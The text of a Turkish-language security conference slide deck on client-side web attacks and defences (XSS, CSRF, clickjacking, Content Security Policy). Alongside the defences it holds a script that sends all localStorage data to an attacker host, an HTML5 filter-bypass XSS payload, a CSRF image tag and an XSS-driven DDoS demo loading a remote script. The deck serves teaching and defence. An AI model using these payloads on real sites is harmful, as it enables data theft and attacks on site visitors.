Top Banner
Son Kullanıcı Güvenliği & CSP Mehmet Dursun İNCE
36

Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Jun 08, 2015

Download

Technology

Siber Güvenlik Konferansı'14 etkinliğinde Mehmet İnce tarafından gerçekleştirilen sunum dosyasıdır.
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Son Kullanıcı Güvenliği &

CSP Mehmet Dursun İNCE

Page 2: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

mince@rootlab ~ $ whoami Mehmet Dursun İNCE Penetration Tester at IntelRAD Zafiyet Araştırmacısı Blog Yazarı: www.mehmetince.net Linux & OpenSource PHP, Python, ...

Page 3: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

mince@rootlab ~ $ cat icerik.txt Client-Side Security Nedir ? CSRF, XSS ve ClickJacking Internet Tarayıcıları HTML5 SKiddieTrapper.js & CryptoPost.js

Page 4: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Son Kullanıcı Güvenliği Nedir ? ● SSL’den ibaret değildir. ● Güvenli “oturum” yönetimi gerektirir.

● User Interface güvenliği

Page 5: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

S.K. Yönelik Popüler Siber Tehditler ● ... ● XSS ● CSRF ● Clickjacking ● ...

Page 6: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS XSS <script>alert(1)</script>’den ibaret değildir.

COOKIE değil Browser.

Page 7: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Password Cracking ● HTML5 - WebWorker

● Cracking Speed : 609.384 / sec (MD5)

● Ravan - JavaScript Distributed Computing System

Page 8: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - L7 DDoS ● XMLHttpRequest - WebSockets

● www.hedef.com/?search=”a”+”b”

● 10,000 / min

Page 9: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Step 1 ● http://www.hacker.com/ddos.js

Page 10: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Step 2 ● Dakika içinde 100 tekil kullanıcı alan web

sitesine ddos.js dosyası Stored XSS vb yöntemler ile yerleştirilir.

● Örneğin : e-ticaret, gazete/haber siteleri. ● Sosyal mühendislik + reklam (JS!) ?

Page 11: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Step 3 ● http://lab.mehmetince.net adresine giren

Chrome kullanıcıları.

Page 12: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Step 3 ● Request sunucuya erişecektir, dönen

değerin okunması ve işlemi alınması yasaktır!

Page 13: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Sonuç ● Ortalama her tarayıcı 10,000 talep / dakika ● Dakika içerisinde 100 tekil kullanıcı alan bir

sitenin ziyaretçileri üzerinden; ● Toplam ≃ 1.200.000 / dakika ● = 200.000 / saniye ● WAF ? Firewall ?

Page 14: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Cross Site Request Forgery Özet - HTTP GET; … <img src="//site.com/sing_out"> …

Page 15: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Cross Site Request Forgery Özet - HTTP POST;

Page 16: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 1 1. Hedef : eticaret sitesi kullanıcıları. 2. Kullanıcı mail adresi değişikliği işleminde

mevcut şifre talep edilmemektedir. 3. Uygulama genelinde CSRF Token

kullanılmamıştır.

Page 17: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 2 1. www.herhangibirsite.com adresine aşağıdaki

CSRF Exploit kodları yerleştirilir.

Page 18: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 3.1 www.herhangibirsite.com adresini ziyaret eden kullanıcı, farkında olmadan email adresini değiştiren HTTP talebini gönderir.

Page 19: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 3.2

EMAIL DOĞRULAMA

Page 20: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 4

ŞİFREMİ UNUTTUM

Page 21: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
Page 22: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

ClickJacking

Page 23: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

ClickJacking - Önlemi X-Frame-Options : DENY, SAMEORIGIN, https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

Page 24: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

HTML5 Avantajları

● Blacklist Bypass o ... o <video poster=javascript:alert(1)//></video> o …

Page 25: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

HTML5 Local Storage <script> localStorage.setItem("email", "[email protected]"); var f = document.getElementById("email"); f.innerHTML=localStorage.getItem("email"); </script>

Page 26: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

HTML5 Local Storage <script> for(var i = 0; i < localStorage.length; i++){ var key = localStorage.key(i); var a = new Image(); a.src="http://saldirgan/kaydet.php?key=" + key + "&value=" + localStorage.getItem(key); } </script>

Page 27: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Content Security Policy

Page 28: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Content Security Policy - Özellikler connect-src : WebSocket, XHR, EventSource font-src : https://themes.googleusercontent.com frame-src: https://youtube.com img-src : * -Her şeye izin ver- media-src : *.site.com object-src : self -Flash vb- script-src : ‘self’ ‘unsafe-eval’ ‘unsafe-inline’ style-src : self

Page 29: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Content Security Policy - Örnek

Page 30: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Facebook CSP Örneği

Page 31: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Content Security Policy - Rapor script-src : ‘self’ report-uri : ‘log.php’

Page 32: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

X-XSS-Protection X-XSS-Protection: 1; mode=block

Page 33: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CryptoPost.js ● RSA Key Encryption ● POST parametreleri encrypt etmek. ● Hacker’lara ve MITM saldırılarına önlem. ● Opensource ve pull request’e açık. ● https://github.com/mmetince/crypto_post

Page 34: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

SKiddieTrapper.js ● Potansiyel saldırganlara tuzak kurmak. ● FORM’lara input’lar enjekte etmekte. ● Opensource ve pull request’e açık. ● https://github.com/mmetince/skiddie_trapper

Page 35: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

SKiddieTrapper.js

Page 36: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Teşekkürler ● www.mehmetince.net ● twitter.com/mmetince